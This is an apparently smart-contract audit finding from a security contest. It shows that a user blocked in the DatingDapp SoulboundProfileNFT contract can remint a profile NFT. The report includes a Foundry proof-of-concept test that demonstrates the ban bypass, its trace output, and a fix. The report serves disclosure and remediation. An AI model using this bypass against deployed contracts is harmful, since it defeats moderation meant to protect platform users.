DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Blocked Users Can Remint Profile NFTs

Summary

The SoulboundProfileNFT.sol::blockProfile() function allows the contract owner to burn a user's soulbound NFT to prevent them from participating in the platform. However, there is no mechanism preventing the blocked user from immediately minting a new profile. This makes blocking ineffective, as malicious users can bypass restrictions by simply reminting their profile NFT and interact with the LikeRegistry.sol.

Vulnerability Details

Affected code

The blockProfile() function is used by owner to block user, delete the user's NFT and remove their entry from the system. However, the mintProfile() function does not check whether a user was previously blocked. This allows a blocked user to call mintProfile() again, get a new profile NFT without restriction and interact with the LikReegistry.sol.

PoC

Add the following test suit to the SoulboundProfileNFTTest.t.sol.

function test_userCanBypassBlockByOwner() public {
// User creates profile
address attacker = makeAddr("attacker");
vm.prank(attacker);
soulboundNFT.mintProfile("attacker", 25, "ipfs://profileImage");
assertEq(soulboundNFT.profileToToken(attacker), 1);
// Due to malicious actions owner blocks the attacker
vm.prank(owner);
soulboundNFT.blockProfile(attacker);
assertEq(soulboundNFT.profileToToken(attacker), 0);
// Attacker mints himself another NFT although being blocked by owner
vm.prank(attacker);
soulboundNFT.mintProfile("attacker", 25, "ipfs://profileImage");
assertEq(soulboundNFT.profileToToken(attacker), 2);
}
Ran 1 test for test/testSoulboundProfileNFT.t.sol:SoulboundProfileNFTTest
[PASS] test_userCanBypassBlockByOwner() (gas: 262671)
Traces:
[333604] SoulboundProfileNFTTest::test_userCanBypassBlockByOwner()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [0] VM::label(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], "attacker")
│ └─ ← [Return]
├─ [0] VM::prank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Return]
├─ [166428] SoulboundProfileNFT::mintProfile("attacker", 25, "ipfs://profileImage")
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], tokenId: 1)
│ ├─ emit ProfileMinted(user: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], tokenId: 1, name: "attacker", age: 25, profileImage: "ipfs://profileImage")
│ └─ ← [Stop]
├─ [630] SoulboundProfileNFT::profileToToken(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← [Return] 1
├─ [0] VM::assertEq(1, 1) [staticcall]
│ └─ ← [Return]
├─ [0] VM::prank(SoulboundProfileNFTTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← [Return]
├─ [10856] SoulboundProfileNFT::blockProfile(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ ├─ emit Transfer(from: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], to: 0x0000000000000000000000000000000000000000, tokenId: 1)
│ ├─ emit ProfileBurned(user: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], tokenId: 1)
│ └─ ← [Stop]
├─ [630] SoulboundProfileNFT::profileToToken(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
├─ [0] VM::prank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Return]
├─ [138028] SoulboundProfileNFT::mintProfile("attacker", 25, "ipfs://profileImage")
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], tokenId: 2)
│ ├─ emit ProfileMinted(user: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], tokenId: 2, name: "attacker", age: 25, profileImage: "ipfs://profileImage")
│ └─ ← [Stop]
├─ [630] SoulboundProfileNFT::profileToToken(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← [Return] 2
├─ [0] VM::assertEq(2, 2) [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 710.41µs (294.71µs CPU

Impact

  • Users who were banned for violating platform rules (e.g., fraud, abuse, spam) can immediately rejoin with a new profile.

  • The contract owner loses the ability to enforce user bans, undermining platform security.

  • Attackers can repeatedly create new profiles after being blocked, leading to spam and system abuse.

Tools Used

  • Manual review

  • Foundry

Recommendations

Introduce a blocking mechanism to prevent reminting after being banned.

mapping(address => bool) public isBlocked;
// @notice Mint a soulbound NFT representing the user's profile.
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(!isBlocked[msg.sender], "You are blocked");
...
}
// @notice App owner can block users
function blockProfile(address blockAddress) external onlyOwner {
...
isBlocked[blockAddress] = true; // Prevent reminting
emit ProfileBurned(blockAddress, tokenId);
}
Updates

Appeal created

n0kto Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_blocked_user_can_recreate_a_profil

Likelihood: Low, any blocked users. Impact: High, not really blocked.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.